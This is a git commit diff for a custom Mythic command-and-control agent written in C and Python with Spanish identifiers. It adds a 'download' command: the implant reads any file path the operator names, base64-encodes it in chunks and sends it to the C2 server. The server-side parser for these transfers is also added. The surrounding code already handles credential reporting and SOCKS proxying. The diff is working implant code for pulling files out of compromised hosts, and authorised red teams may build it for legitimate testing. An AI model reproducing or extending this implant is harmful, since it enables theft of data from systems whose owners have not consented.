Download created
This commit is contained in:
@@ -1,5 +1,6 @@
|
|||||||
#include "SistemadeFicheros.h"
|
#include "SistemadeFicheros.h"
|
||||||
#include "paquete.h"
|
#include "paquete.h"
|
||||||
|
#include "transporte.h"
|
||||||
|
|
||||||
/* Forward decl to avoid implicit declaration on some toolchains */
|
/* Forward decl to avoid implicit declaration on some toolchains */
|
||||||
BOOL PackageAddFormatPrintf(PPaquete package, BOOL copySize, char* fmt, ...);
|
BOOL PackageAddFormatPrintf(PPaquete package, BOOL copySize, char* fmt, ...);
|
||||||
@@ -435,8 +436,8 @@ VOID EliminarRuta(PAnalizador argumentos){
|
|||||||
addString(respuestaTarea, tareaUuid, FALSE);
|
addString(respuestaTarea, tareaUuid, FALSE);
|
||||||
addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE);
|
addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE);
|
||||||
|
|
||||||
// Add File Write artifact for the deleted file/directory
|
// Add File Delete artifact for the deleted file/directory
|
||||||
addArtifact(respuestaTarea, "File Write", ruta);
|
addArtifact(respuestaTarea, "File Delete", ruta);
|
||||||
|
|
||||||
mandarPaquete(respuestaTarea);
|
mandarPaquete(respuestaTarea);
|
||||||
liberarPaquete(salida);
|
liberarPaquete(salida);
|
||||||
@@ -948,6 +949,256 @@ VOID LeerFichero(PAnalizador argumentos) {
|
|||||||
|
|
||||||
LocalFree(contenidoArchivo);
|
LocalFree(contenidoArchivo);
|
||||||
|
|
||||||
|
end:
|
||||||
|
LocalFree(rutaFichero);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Helper function to extract file_id from response
|
||||||
|
// Format: Binary response with file_id marker 0xFB followed by [file_id_len:4][file_id]
|
||||||
|
static PCHAR extractFileIdFromResponse(PAnalizador respuesta) {
|
||||||
|
if (!respuesta || respuesta->tamano < 5) {
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Look for file_id marker 0xFB
|
||||||
|
PBYTE buffer = respuesta->buffer;
|
||||||
|
SIZE_T len = respuesta->tamano;
|
||||||
|
|
||||||
|
for (SIZE_T i = 0; i < len - 5; i++) {
|
||||||
|
if (buffer[i] == 0xFB) {
|
||||||
|
// Found marker, extract file_id
|
||||||
|
i++; // Skip marker
|
||||||
|
if (i + 4 > len) break;
|
||||||
|
|
||||||
|
UINT32 file_id_len = (buffer[i] << 24) | (buffer[i+1] << 16) | (buffer[i+2] << 8) | buffer[i+3];
|
||||||
|
i += 4;
|
||||||
|
|
||||||
|
if (file_id_len == 0 || file_id_len > 256 || i + file_id_len > len) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
PCHAR file_id = (PCHAR)LocalAlloc(LPTR, file_id_len + 1);
|
||||||
|
if (!file_id) {
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
memcpy(file_id, buffer + i, file_id_len);
|
||||||
|
file_id[file_id_len] = '\0';
|
||||||
|
return file_id;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
VOID DescargarFichero(PAnalizador argumentos) {
|
||||||
|
SIZE_T tamanoUuid = 36;
|
||||||
|
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
|
||||||
|
UINT32 nbArg = getInt32(argumentos);
|
||||||
|
|
||||||
|
_dbg("[download] tenemos %d argumentos", nbArg);
|
||||||
|
if (nbArg == 0) {
|
||||||
|
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||||
|
addString(respuestaError, tareaUuid, FALSE);
|
||||||
|
PPaquete salidaError = nuevoPaquete(0, FALSE);
|
||||||
|
PackageAddFormatPrintf(salidaError, FALSE, "[download] Error: No se especificó archivo\n");
|
||||||
|
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
|
||||||
|
mandarPaquete(respuestaError);
|
||||||
|
liberarPaquete(salidaError);
|
||||||
|
liberarPaquete(respuestaError);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
SIZE_T tamano = 0;
|
||||||
|
PCHAR rutaFichero = getString(argumentos, &tamano);
|
||||||
|
|
||||||
|
_dbg("[download] Archivo a descargar: \"%s\"", rutaFichero);
|
||||||
|
|
||||||
|
// Abrir archivo para lectura
|
||||||
|
HANDLE hFile = CreateFileA(
|
||||||
|
rutaFichero,
|
||||||
|
GENERIC_READ,
|
||||||
|
FILE_SHARE_READ,
|
||||||
|
NULL,
|
||||||
|
OPEN_EXISTING,
|
||||||
|
FILE_ATTRIBUTE_NORMAL,
|
||||||
|
NULL
|
||||||
|
);
|
||||||
|
|
||||||
|
if (hFile == INVALID_HANDLE_VALUE) {
|
||||||
|
DWORD error = GetLastError();
|
||||||
|
_err("[download] No se ha podido abrir el archivo. Código: %lu\n", error);
|
||||||
|
|
||||||
|
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||||
|
addString(respuestaError, tareaUuid, FALSE);
|
||||||
|
PPaquete salidaError = nuevoPaquete(0, FALSE);
|
||||||
|
PackageAddFormatPrintf(salidaError, FALSE, "[download] Error: No se pudo abrir el archivo. Código: %lu\n", error);
|
||||||
|
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
|
||||||
|
mandarPaquete(respuestaError);
|
||||||
|
liberarPaquete(salidaError);
|
||||||
|
liberarPaquete(respuestaError);
|
||||||
|
goto end;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Obtener tamaño del archivo
|
||||||
|
DWORD fileSizeHigh = 0;
|
||||||
|
DWORD fileSizeLow = GetFileSize(hFile, &fileSizeHigh);
|
||||||
|
|
||||||
|
// Limitar a archivos < 2GB para simplificar
|
||||||
|
if (fileSizeHigh > 0) {
|
||||||
|
_err("[download] Archivo demasiado grande (>2GB)\n");
|
||||||
|
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||||
|
addString(respuestaError, tareaUuid, FALSE);
|
||||||
|
PPaquete salidaError = nuevoPaquete(0, FALSE);
|
||||||
|
PackageAddFormatPrintf(salidaError, FALSE, "[download] Error: Archivo demasiado grande (>2GB)\n");
|
||||||
|
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
|
||||||
|
mandarPaquete(respuestaError);
|
||||||
|
liberarPaquete(salidaError);
|
||||||
|
liberarPaquete(respuestaError);
|
||||||
|
CloseHandle(hFile);
|
||||||
|
goto end;
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD fileSize = fileSizeLow;
|
||||||
|
|
||||||
|
if (fileSize == 0) {
|
||||||
|
_dbg("[download] Archivo vacío\n");
|
||||||
|
CloseHandle(hFile);
|
||||||
|
PPaquete respuestaFinal = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||||
|
addString(respuestaFinal, tareaUuid, FALSE);
|
||||||
|
PPaquete salidaFinal = nuevoPaquete(0, FALSE);
|
||||||
|
PackageAddFormatPrintf(salidaFinal, FALSE, "[download] Archivo vacío: %s\n", rutaFichero);
|
||||||
|
addBytes(respuestaFinal, (PBYTE)salidaFinal->buffer, salidaFinal->length, TRUE);
|
||||||
|
addArtifact(respuestaFinal, "File Read", rutaFichero);
|
||||||
|
mandarPaquete(respuestaFinal);
|
||||||
|
liberarPaquete(salidaFinal);
|
||||||
|
liberarPaquete(respuestaFinal);
|
||||||
|
goto end;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Obtener full path del archivo
|
||||||
|
char fullPath[MAX_PATH];
|
||||||
|
DWORD pathLen = GetFullPathNameA(rutaFichero, MAX_PATH, fullPath, NULL);
|
||||||
|
if (pathLen == 0 || pathLen >= MAX_PATH) {
|
||||||
|
// Si falla, usar la ruta original
|
||||||
|
strncpy(fullPath, rutaFichero, MAX_PATH - 1);
|
||||||
|
fullPath[MAX_PATH - 1] = '\0';
|
||||||
|
}
|
||||||
|
|
||||||
|
// Calcular chunk size (512KB por defecto)
|
||||||
|
const DWORD CHUNK_SIZE = 512 * 1024;
|
||||||
|
DWORD totalChunks = (fileSize + CHUNK_SIZE - 1) / CHUNK_SIZE;
|
||||||
|
|
||||||
|
_dbg("[download] Archivo: %lu bytes, %lu chunks de %lu bytes cada uno",
|
||||||
|
fileSize, totalChunks, CHUNK_SIZE);
|
||||||
|
|
||||||
|
// Paso 1: Enviar mensaje de registro
|
||||||
|
PPaquete registroRespuesta = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||||
|
addString(registroRespuesta, tareaUuid, FALSE);
|
||||||
|
|
||||||
|
// Agregar mensaje de output simple
|
||||||
|
PPaquete salidaRegistro = nuevoPaquete(0, FALSE);
|
||||||
|
PackageAddFormatPrintf(salidaRegistro, FALSE, "[download] Registrando descarga: %s (%lu bytes, %lu chunks)\n",
|
||||||
|
fullPath, fileSize, totalChunks);
|
||||||
|
addBytes(registroRespuesta, (PBYTE)salidaRegistro->buffer, salidaRegistro->length, TRUE);
|
||||||
|
|
||||||
|
// Agregar download registration
|
||||||
|
addDownloadRegistration(registroRespuesta, fullPath, totalChunks, CHUNK_SIZE);
|
||||||
|
|
||||||
|
// Enviar registro y recibir respuesta con file_id
|
||||||
|
PAnalizador respuestaRegistro = mandarPaquete(registroRespuesta);
|
||||||
|
liberarPaquete(salidaRegistro);
|
||||||
|
liberarPaquete(registroRespuesta);
|
||||||
|
|
||||||
|
if (!respuestaRegistro) {
|
||||||
|
_err("[download] Error: No se recibió respuesta del registro\n");
|
||||||
|
CloseHandle(hFile);
|
||||||
|
goto end;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Extraer file_id de la respuesta
|
||||||
|
PCHAR file_id = extractFileIdFromResponse(respuestaRegistro);
|
||||||
|
liberarAnalizador(respuestaRegistro);
|
||||||
|
|
||||||
|
if (!file_id) {
|
||||||
|
_err("[download] Error: No se pudo extraer file_id de la respuesta\n");
|
||||||
|
CloseHandle(hFile);
|
||||||
|
goto end;
|
||||||
|
}
|
||||||
|
|
||||||
|
_dbg("[download] File ID recibido: %s\n", file_id);
|
||||||
|
|
||||||
|
// Paso 2: Leer y enviar chunks
|
||||||
|
PBYTE chunkBuffer = (PBYTE)LocalAlloc(LPTR, CHUNK_SIZE);
|
||||||
|
if (!chunkBuffer) {
|
||||||
|
_err("[download] Error: No se pudo asignar memoria para chunk buffer\n");
|
||||||
|
LocalFree(file_id);
|
||||||
|
CloseHandle(hFile);
|
||||||
|
goto end;
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD chunkNum = 1;
|
||||||
|
DWORD totalBytesRead = 0;
|
||||||
|
|
||||||
|
while (totalBytesRead < fileSize) {
|
||||||
|
DWORD bytesToRead = (fileSize - totalBytesRead > CHUNK_SIZE) ? CHUNK_SIZE : (fileSize - totalBytesRead);
|
||||||
|
DWORD bytesRead = 0;
|
||||||
|
|
||||||
|
if (!ReadFile(hFile, chunkBuffer, bytesToRead, &bytesRead, NULL)) {
|
||||||
|
DWORD error = GetLastError();
|
||||||
|
_err("[download] Error leyendo chunk %lu. Código: %lu\n", chunkNum, error);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (bytesRead == 0) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
_dbg("[download] Enviando chunk %lu/%lu (%lu bytes)\n", chunkNum, totalChunks, bytesRead);
|
||||||
|
|
||||||
|
// Crear paquete para este chunk
|
||||||
|
PPaquete chunkRespuesta = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||||
|
addString(chunkRespuesta, tareaUuid, FALSE);
|
||||||
|
|
||||||
|
// NO agregar output de texto para chunks - solo el chunk marker
|
||||||
|
// Agregar un output vacío (tamaño 0)
|
||||||
|
addInt32(chunkRespuesta, 0);
|
||||||
|
|
||||||
|
// Agregar download chunk
|
||||||
|
addDownloadChunk(chunkRespuesta, file_id, chunkNum, chunkBuffer, bytesRead);
|
||||||
|
|
||||||
|
// Enviar chunk
|
||||||
|
PAnalizador respuestaChunk = mandarPaquete(chunkRespuesta);
|
||||||
|
liberarPaquete(chunkRespuesta);
|
||||||
|
|
||||||
|
if (respuestaChunk) {
|
||||||
|
liberarAnalizador(respuestaChunk);
|
||||||
|
}
|
||||||
|
|
||||||
|
totalBytesRead += bytesRead;
|
||||||
|
chunkNum++;
|
||||||
|
}
|
||||||
|
|
||||||
|
CloseHandle(hFile);
|
||||||
|
LocalFree(chunkBuffer);
|
||||||
|
LocalFree(file_id);
|
||||||
|
|
||||||
|
// Enviar mensaje final con output y artifact
|
||||||
|
PPaquete respuestaFinal = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||||
|
addString(respuestaFinal, tareaUuid, FALSE);
|
||||||
|
|
||||||
|
PPaquete salidaFinal = nuevoPaquete(0, FALSE);
|
||||||
|
PackageAddFormatPrintf(salidaFinal, FALSE, "[download] Descarga completada: %s (%lu bytes)\n",
|
||||||
|
fullPath, totalBytesRead);
|
||||||
|
addBytes(respuestaFinal, (PBYTE)salidaFinal->buffer, salidaFinal->length, TRUE);
|
||||||
|
|
||||||
|
// Agregar artifact File Read (indica que se leyó/accedió al archivo para descargar)
|
||||||
|
addArtifact(respuestaFinal, "File Read", fullPath);
|
||||||
|
|
||||||
|
mandarPaquete(respuestaFinal);
|
||||||
|
liberarPaquete(salidaFinal);
|
||||||
|
liberarPaquete(respuestaFinal);
|
||||||
|
|
||||||
end:
|
end:
|
||||||
LocalFree(rutaFichero);
|
LocalFree(rutaFichero);
|
||||||
}
|
}
|
||||||
@@ -19,4 +19,6 @@ VOID EliminarRuta(PAnalizador argumentos);
|
|||||||
|
|
||||||
VOID LeerFichero(PAnalizador argumentos);
|
VOID LeerFichero(PAnalizador argumentos);
|
||||||
|
|
||||||
|
VOID DescargarFichero(PAnalizador argumentos);
|
||||||
|
|
||||||
#endif //FILESYSTEM_H
|
#endif //FILESYSTEM_H
|
||||||
@@ -62,6 +62,8 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) {
|
|||||||
EliminarRuta(analizadorTarea);
|
EliminarRuta(analizadorTarea);
|
||||||
} else if (tarea == CAT_CMD) {
|
} else if (tarea == CAT_CMD) {
|
||||||
LeerFichero(analizadorTarea);
|
LeerFichero(analizadorTarea);
|
||||||
|
} else if (tarea == DOWNLOAD_CMD) {
|
||||||
|
DescargarFichero(analizadorTarea);
|
||||||
} else if (tarea == START_SOCKS_CMD) {
|
} else if (tarea == START_SOCKS_CMD) {
|
||||||
DBG_PRINTF("Received START_SOCKS_CMD");
|
DBG_PRINTF("Received START_SOCKS_CMD");
|
||||||
startSocksHandler(analizadorTarea);
|
startSocksHandler(analizadorTarea);
|
||||||
|
|||||||
@@ -29,6 +29,7 @@
|
|||||||
#define MKDIR_CMD 0x24
|
#define MKDIR_CMD 0x24
|
||||||
#define RM_CMD 0x25
|
#define RM_CMD 0x25
|
||||||
#define CAT_CMD 0x26
|
#define CAT_CMD 0x26
|
||||||
|
#define DOWNLOAD_CMD 0x27
|
||||||
|
|
||||||
/* New SOCKS control commands (agent-side) */
|
/* New SOCKS control commands (agent-side) */
|
||||||
#define START_SOCKS_CMD 0x60
|
#define START_SOCKS_CMD 0x60
|
||||||
|
|||||||
@@ -696,4 +696,64 @@ VOID addCredential(PPaquete paquete, PCHAR credential_type, PCHAR realm, PCHAR c
|
|||||||
SIZE_T account_len = strlen(account);
|
SIZE_T account_len = strlen(account);
|
||||||
addInt32(paquete, (UINT32)account_len);
|
addInt32(paquete, (UINT32)account_len);
|
||||||
addString(paquete, account, FALSE);
|
addString(paquete, account, FALSE);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Download registration: adds download registration marker and data to response package */
|
||||||
|
/* Format: [0xFD marker][action:1=0][full_path_len:4][full_path][total_chunks:4][chunk_size:4] */
|
||||||
|
VOID addDownloadRegistration(PPaquete paquete, PCHAR full_path, UINT32 total_chunks, UINT32 chunk_size) {
|
||||||
|
if (!paquete || !full_path) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Download registration marker (0xFD)
|
||||||
|
addByte(paquete, 0xFD);
|
||||||
|
|
||||||
|
// Action: 0 = registration
|
||||||
|
addByte(paquete, 0);
|
||||||
|
|
||||||
|
// Full path length and value
|
||||||
|
SIZE_T path_len = strlen(full_path);
|
||||||
|
addInt32(paquete, (UINT32)path_len);
|
||||||
|
addString(paquete, full_path, FALSE);
|
||||||
|
|
||||||
|
// Total chunks (can be -1 if unknown)
|
||||||
|
addInt32(paquete, total_chunks);
|
||||||
|
|
||||||
|
// Chunk size
|
||||||
|
addInt32(paquete, chunk_size);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Download chunk: adds download chunk marker and data to response package */
|
||||||
|
/* Format: [0xFC marker][action:1=1][file_id_len:4][file_id][chunk_num:4][chunk_data_len:4][chunk_data_base64] */
|
||||||
|
VOID addDownloadChunk(PPaquete paquete, PCHAR file_id, UINT32 chunk_num, PBYTE chunk_data, SIZE_T chunk_data_len) {
|
||||||
|
if (!paquete || !file_id || !chunk_data || chunk_data_len == 0) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Download chunk marker (0xFC)
|
||||||
|
addByte(paquete, 0xFC);
|
||||||
|
|
||||||
|
// Action: 1 = chunk
|
||||||
|
addByte(paquete, 1);
|
||||||
|
|
||||||
|
// File ID length and value
|
||||||
|
SIZE_T file_id_len = strlen(file_id);
|
||||||
|
addInt32(paquete, (UINT32)file_id_len);
|
||||||
|
addString(paquete, file_id, FALSE);
|
||||||
|
|
||||||
|
// Chunk number (1-based)
|
||||||
|
addInt32(paquete, chunk_num);
|
||||||
|
|
||||||
|
// Encode chunk data to base64
|
||||||
|
char* chunk_data_b64 = b64Codificado(chunk_data, chunk_data_len);
|
||||||
|
if (!chunk_data_b64) {
|
||||||
|
_err("[download] Error encoding chunk data to base64\n");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
SIZE_T chunk_b64_len = strlen(chunk_data_b64);
|
||||||
|
addInt32(paquete, (UINT32)chunk_b64_len);
|
||||||
|
addString(paquete, chunk_data_b64, FALSE);
|
||||||
|
|
||||||
|
LocalFree(chunk_data_b64);
|
||||||
}
|
}
|
||||||
@@ -40,4 +40,11 @@ VOID addArtifact(PPaquete paquete, PCHAR artifact_type, PCHAR artifact_value);
|
|||||||
/* credential_type must be: plaintext, certificate, hash, key, ticket, or cookie */
|
/* credential_type must be: plaintext, certificate, hash, key, ticket, or cookie */
|
||||||
VOID addCredential(PPaquete paquete, PCHAR credential_type, PCHAR realm, PCHAR credential, PCHAR account);
|
VOID addCredential(PPaquete paquete, PCHAR credential_type, PCHAR realm, PCHAR credential, PCHAR account);
|
||||||
|
|
||||||
|
/* Download helpers: for file download from agent to Mythic */
|
||||||
|
/* Format for download registration: [0xFD marker][action:1][full_path_len:4][full_path][total_chunks:4][chunk_size:4] */
|
||||||
|
/* Format for download chunk: [0xFC marker][file_id_len:4][file_id][chunk_num:4][chunk_data_len:4][chunk_data_base64] */
|
||||||
|
/* action: 0 = registration, 1 = chunk */
|
||||||
|
VOID addDownloadRegistration(PPaquete paquete, PCHAR full_path, UINT32 total_chunks, UINT32 chunk_size);
|
||||||
|
VOID addDownloadChunk(PPaquete paquete, PCHAR file_id, UINT32 chunk_num, PBYTE chunk_data, SIZE_T chunk_data_len);
|
||||||
|
|
||||||
#endif
|
#endif
|
||||||
@@ -0,0 +1,45 @@
|
|||||||
|
from mythic_container.MythicCommandBase import *
|
||||||
|
from mythic_container.MythicRPC import *
|
||||||
|
|
||||||
|
|
||||||
|
class DownloadArguments(TaskArguments):
|
||||||
|
def __init__(self, command_line, **kwargs):
|
||||||
|
super().__init__(command_line, **kwargs)
|
||||||
|
self.args = [
|
||||||
|
CommandParameter(
|
||||||
|
name="file",
|
||||||
|
type=ParameterType.String,
|
||||||
|
description="Path to the file to download from the target",
|
||||||
|
),
|
||||||
|
]
|
||||||
|
|
||||||
|
async def parse_arguments(self):
|
||||||
|
if len(self.command_line) == 0:
|
||||||
|
raise ValueError("Must supply a path to download")
|
||||||
|
self.add_arg("file", self.command_line)
|
||||||
|
|
||||||
|
async def parse_dictionary(self, dictionary_arguments):
|
||||||
|
if "file" in dictionary_arguments:
|
||||||
|
self.add_arg("file", dictionary_arguments["file"])
|
||||||
|
|
||||||
|
|
||||||
|
class DownloadCommand(CommandBase):
|
||||||
|
cmd = "download"
|
||||||
|
needs_admin = False
|
||||||
|
help_cmd = "download <path>"
|
||||||
|
description = "Download a file from the target to the Mythic server"
|
||||||
|
version = 1
|
||||||
|
author = "@KaseyaOFSTeam"
|
||||||
|
argument_class = DownloadArguments
|
||||||
|
|
||||||
|
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||||
|
response = PTTaskCreateTaskingMessageResponse(
|
||||||
|
TaskID=taskData.Task.ID,
|
||||||
|
Success=True,
|
||||||
|
)
|
||||||
|
return response
|
||||||
|
|
||||||
|
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||||
|
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||||
|
return resp
|
||||||
|
|
||||||
@@ -15,6 +15,7 @@ commands = {
|
|||||||
"mkdir": {"hex_code": 0x24, "input_type": "string"},
|
"mkdir": {"hex_code": 0x24, "input_type": "string"},
|
||||||
"rm": {"hex_code": 0x25, "input_type": "string"},
|
"rm": {"hex_code": 0x25, "input_type": "string"},
|
||||||
"cat": {"hex_code": 0x26, "input_type": "string"},
|
"cat": {"hex_code": 0x26, "input_type": "string"},
|
||||||
|
"download": {"hex_code": 0x27, "input_type": "string"},
|
||||||
# Added SOCKS control commands
|
# Added SOCKS control commands
|
||||||
"start_socks": {"hex_code": 0x60, "input_type": "int"},
|
"start_socks": {"hex_code": 0x60, "input_type": "int"},
|
||||||
"stop_socks": {"hex_code": 0x61, "input_type": None},
|
"stop_socks": {"hex_code": 0x61, "input_type": None},
|
||||||
@@ -121,4 +122,16 @@ def responsePosting(responses):
|
|||||||
data += b"\x01"
|
data += b"\x01"
|
||||||
else:
|
else:
|
||||||
data += b"\x00"
|
data += b"\x00"
|
||||||
|
|
||||||
|
# Check if this response has a file_id (from download registration)
|
||||||
|
# When Mythic responds to a download registration, it includes file_id
|
||||||
|
if "file_id" in response:
|
||||||
|
file_id = response["file_id"]
|
||||||
|
file_id_bytes = file_id.encode('utf-8')
|
||||||
|
# Format: [0xFB marker][file_id_len:4][file_id]
|
||||||
|
data += bytes([0xFB]) # File ID marker
|
||||||
|
data += len(file_id_bytes).to_bytes(4, "big")
|
||||||
|
data += file_id_bytes
|
||||||
|
print(f"[DOWNLOAD] File ID agregado a respuesta binaria: {file_id}")
|
||||||
|
|
||||||
return data
|
return data
|
||||||
|
|||||||
@@ -174,15 +174,21 @@ def postResponse(data):
|
|||||||
uuidTask = data[:36]
|
uuidTask = data[:36]
|
||||||
data = data[36:]
|
data = data[36:]
|
||||||
|
|
||||||
|
# Extract output, but handle case where output might be empty (e.g., download chunks)
|
||||||
output, data = getBytesWithSize(data)
|
output, data = getBytesWithSize(data)
|
||||||
|
|
||||||
print(f"Tamaño después de extraer UUID: {len(data)} bytes")
|
print(f"Tamaño después de extraer UUID: {len(data)} bytes")
|
||||||
|
print(f"Tamaño del output extraído: {len(output)} bytes")
|
||||||
|
|
||||||
# Parse artifacts and credentials:
|
# Parse artifacts, credentials, and downloads
|
||||||
# Artifacts format: [0xFF][type_len:4][type][value_len:4][value]
|
# Artifacts format: [0xFF][type_len:4][type][value_len:4][value]
|
||||||
# Credentials format: [0xFE][type_len:4][type][realm_len:4][realm][credential_len:4][credential][account_len:4][account]
|
# Credentials format: [0xFE][type_len:4][type][realm_len:4][realm][credential_len:4][credential][account_len:4][account]
|
||||||
|
# Download registration: [0xFD][action:0][full_path_len:4][full_path][total_chunks:4][chunk_size:4]
|
||||||
|
# Download chunk: [0xFC][action:1][file_id_len:4][file_id][chunk_num:4][chunk_data_len:4][chunk_data_base64]
|
||||||
artifacts_data = []
|
artifacts_data = []
|
||||||
credentials_data = []
|
credentials_data = []
|
||||||
|
download_registration = None
|
||||||
|
download_chunk = None
|
||||||
remaining_data = data
|
remaining_data = data
|
||||||
|
|
||||||
while len(remaining_data) >= 5: # At least: marker (1) + type_len (4)
|
while len(remaining_data) >= 5: # At least: marker (1) + type_len (4)
|
||||||
@@ -301,11 +307,120 @@ def postResponse(data):
|
|||||||
print(f"[CREDENTIALS] Detectado credential: {credential_type} para {account}@{realm if realm else '(local)'}")
|
print(f"[CREDENTIALS] Detectado credential: {credential_type} para {account}@{realm if realm else '(local)'}")
|
||||||
|
|
||||||
# Continue parsing for multiple credentials
|
# Continue parsing for multiple credentials
|
||||||
|
remaining_data = remaining_data[offset:]
|
||||||
|
except:
|
||||||
|
break
|
||||||
|
elif remaining_data[0] == 0xFD:
|
||||||
|
# Download registration marker found
|
||||||
|
# Format: [0xFD][action:0][full_path_len:4][full_path][total_chunks:4][chunk_size:4]
|
||||||
|
offset = 1
|
||||||
|
|
||||||
|
# Skip action byte (should be 0 for registration)
|
||||||
|
if len(remaining_data) < offset + 1:
|
||||||
|
break
|
||||||
|
action = remaining_data[offset]
|
||||||
|
offset += 1
|
||||||
|
|
||||||
|
if action != 0:
|
||||||
|
break # Not a registration message
|
||||||
|
|
||||||
|
# Extract full_path
|
||||||
|
if len(remaining_data) < offset + 4:
|
||||||
|
break
|
||||||
|
path_len = int.from_bytes(remaining_data[offset:offset+4], 'big')
|
||||||
|
offset += 4
|
||||||
|
|
||||||
|
if path_len == 0 or len(remaining_data) < offset + path_len:
|
||||||
|
break
|
||||||
|
|
||||||
|
try:
|
||||||
|
full_path = remaining_data[offset:offset+path_len].decode('cp850')
|
||||||
|
offset += path_len
|
||||||
|
except:
|
||||||
|
break
|
||||||
|
|
||||||
|
# Extract total_chunks
|
||||||
|
if len(remaining_data) < offset + 4:
|
||||||
|
break
|
||||||
|
total_chunks = int.from_bytes(remaining_data[offset:offset+4], 'big', signed=True)
|
||||||
|
offset += 4
|
||||||
|
|
||||||
|
# Extract chunk_size
|
||||||
|
if len(remaining_data) < offset + 4:
|
||||||
|
break
|
||||||
|
chunk_size = int.from_bytes(remaining_data[offset:offset+4], 'big')
|
||||||
|
offset += 4
|
||||||
|
|
||||||
|
# Store download registration info
|
||||||
|
download_registration = {
|
||||||
|
"full_path": full_path,
|
||||||
|
"total_chunks": total_chunks,
|
||||||
|
"chunk_size": chunk_size
|
||||||
|
}
|
||||||
|
print(f"[DOWNLOAD] Registro detectado: path={full_path}, chunks={total_chunks}, chunk_size={chunk_size}")
|
||||||
|
|
||||||
|
remaining_data = remaining_data[offset:]
|
||||||
|
elif remaining_data[0] == 0xFC:
|
||||||
|
# Download chunk marker found
|
||||||
|
# Format: [0xFC][action:1][file_id_len:4][file_id][chunk_num:4][chunk_data_len:4][chunk_data_base64]
|
||||||
|
offset = 1
|
||||||
|
|
||||||
|
# Skip action byte (should be 1 for chunk)
|
||||||
|
if len(remaining_data) < offset + 1:
|
||||||
|
break
|
||||||
|
action = remaining_data[offset]
|
||||||
|
offset += 1
|
||||||
|
|
||||||
|
if action != 1:
|
||||||
|
break # Not a chunk message
|
||||||
|
|
||||||
|
# Extract file_id
|
||||||
|
if len(remaining_data) < offset + 4:
|
||||||
|
break
|
||||||
|
file_id_len = int.from_bytes(remaining_data[offset:offset+4], 'big')
|
||||||
|
offset += 4
|
||||||
|
|
||||||
|
if file_id_len == 0 or len(remaining_data) < offset + file_id_len:
|
||||||
|
break
|
||||||
|
|
||||||
|
try:
|
||||||
|
file_id = remaining_data[offset:offset+file_id_len].decode('cp850')
|
||||||
|
offset += file_id_len
|
||||||
|
except:
|
||||||
|
break
|
||||||
|
|
||||||
|
# Extract chunk_num
|
||||||
|
if len(remaining_data) < offset + 4:
|
||||||
|
break
|
||||||
|
chunk_num = int.from_bytes(remaining_data[offset:offset+4], 'big')
|
||||||
|
offset += 4
|
||||||
|
|
||||||
|
# Extract chunk_data (base64)
|
||||||
|
if len(remaining_data) < offset + 4:
|
||||||
|
break
|
||||||
|
chunk_data_len = int.from_bytes(remaining_data[offset:offset+4], 'big')
|
||||||
|
offset += 4
|
||||||
|
|
||||||
|
if chunk_data_len == 0 or len(remaining_data) < offset + chunk_data_len:
|
||||||
|
break
|
||||||
|
|
||||||
|
try:
|
||||||
|
chunk_data_b64 = remaining_data[offset:offset+chunk_data_len].decode('cp850')
|
||||||
|
offset += chunk_data_len
|
||||||
|
|
||||||
|
# Store chunk info
|
||||||
|
download_chunk = {
|
||||||
|
"file_id": file_id,
|
||||||
|
"chunk_num": chunk_num,
|
||||||
|
"chunk_data": chunk_data_b64
|
||||||
|
}
|
||||||
|
print(f"[DOWNLOAD] Chunk detectado: file_id={file_id}, chunk_num={chunk_num}, data_len={chunk_data_len}")
|
||||||
|
|
||||||
remaining_data = remaining_data[offset:]
|
remaining_data = remaining_data[offset:]
|
||||||
except:
|
except:
|
||||||
break
|
break
|
||||||
else:
|
else:
|
||||||
# No more artifacts or credentials
|
# No more markers
|
||||||
break
|
break
|
||||||
|
|
||||||
try:
|
try:
|
||||||
@@ -352,8 +467,10 @@ def postResponse(data):
|
|||||||
"completed": True,
|
"completed": True,
|
||||||
}
|
}
|
||||||
|
|
||||||
# Siempre incluir user_output para que se vea en la consola
|
# Incluir user_output para que se vea en la consola, EXCEPTO cuando hay download chunks
|
||||||
jsonTask["user_output"] = decoded_output
|
# (los chunks de download no necesitan user_output)
|
||||||
|
if not download_chunk or decoded_output.strip():
|
||||||
|
jsonTask["user_output"] = decoded_output
|
||||||
|
|
||||||
